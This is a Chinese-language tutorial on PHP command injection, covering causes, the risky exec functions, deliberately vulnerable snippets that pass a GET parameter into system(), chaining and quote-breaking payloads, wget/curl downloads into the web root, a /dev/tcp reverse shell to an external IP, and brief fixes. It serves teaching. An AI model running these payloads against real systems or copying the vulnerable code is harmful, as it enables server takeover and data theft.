内容:
命令执行漏洞的概述
命令执行漏洞的危害
命令执行漏洞的利用
命令执行漏洞的防御
背景介绍
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。
成因
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
相关函数
在PHP中可以调用外部程序的常见函数:
- system(args) 有回显
- passthru(args)(有回显)
- exec(args) (回显最后一行-必须echo输出)
- shell_exec(args) (无回显-必须输出)
- 反引号:``
- popen(handle,mode)(无回显)
- proc_open(‘cmd’,‘flag’,‘flag’)(无回显)
- $process = proc_open(‘dir’,$des,$pipes);
- echo stream_get_contents($pipes[1]);
漏洞危害
- 继承Web服务器程序的权限,去执行系统命令
- 继承Web服务器程序的权限,读写文件
- 反弹shell
- 控制整个网站
- 甚至控制整个服务器
system()函数漏洞利用_1
<?php
$arg = $_GET[‘cmd’];
if($arg){
system(“$arg”);
}
?>
• /?cmd=id
• /?cmd=pwd
• /?cmd=ifconfig
system()函数漏洞利用_2
<?php
$arg = $_GET[‘cmd’];
if($arg){
system(“ping –c 3 $arg”);
}
?>
我们能够控制的点是程序的整个参数,我们可以直接用&&或|等等,利用与、或、管道命令来执行其他命令。
• /?cmd=127.0.0.1| ifconfig
System(“ping –c 3 127.0.0.1; ifconfig)
linux 下支持分号 ”;”
|,||,%26,%26%26,
中间加任意字符,后面都会执行-,//,/*/
system()函数漏洞利用_3
<?php
$arg = $_GET[‘cmd’];
if($arg){
system(“ls –al \“$arg\””);
// ls –al “”;ifconfig;”
}
?>
逻辑与短路
<?php
if ($a = 100 | $b =100) {
\# code...
}
// 短路与&&的特点,前面如果为真,才执行后面的,如果为假,都不执行。
// 逻辑与&的特点,前面无论真假,后面都执行
// 短路或||&的特点,前面如果为真,后面的不执行了,前面为假,后面执行
// 逻辑或|前面无论真假,后面都执行
echo "<pre>";
var_dump($a);
var_dump($b);
?>
• /?cmd=/home” ; ifconfig;”
• /?cmd=/home” | ifconfig;”
• /?cmd=/home” %26 ifconfig;”
• /?cmd=/home” %26%26 ifconfig;”
system()函数利用_4
<?php
$arg = $_GET[‘cmd’];
if($arg){
system(“ls –al ‘$arg’”);
}
?>
在单引号内的话,变量不能被解析,因此要想执行命令必须闭合单引号。
• /cmd?=/home’|ipconfig ’
漏洞利用
如果有写权限的话
- 执行pwd得到绝对路径
- 写文件:
• ?cmd=echo"<?php phpinfo()?>" > /var/www/html/info.php
• ?cmd=wget -O /var/www/html/info.php http://www.xx.com/phpinfo.txt
• ?cmd=curl http://www.xx.com/phpinfo.txt > /var/www/html/info.php
反弹shell
公网服务器执行 nc –lvv 8888
目标服务器上执行
• ?cmd= bash -i >& /dev/tcp/211.149.191.5/9999 0>&1
漏洞修复方案
• 能使用脚本解决的工作,不要调用其他程序处理,尽量少用执行命令的函数,并在disabl_functions中禁用。
• 在进入命令执行的函数或方法之前,对参数进行过滤。
• 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义。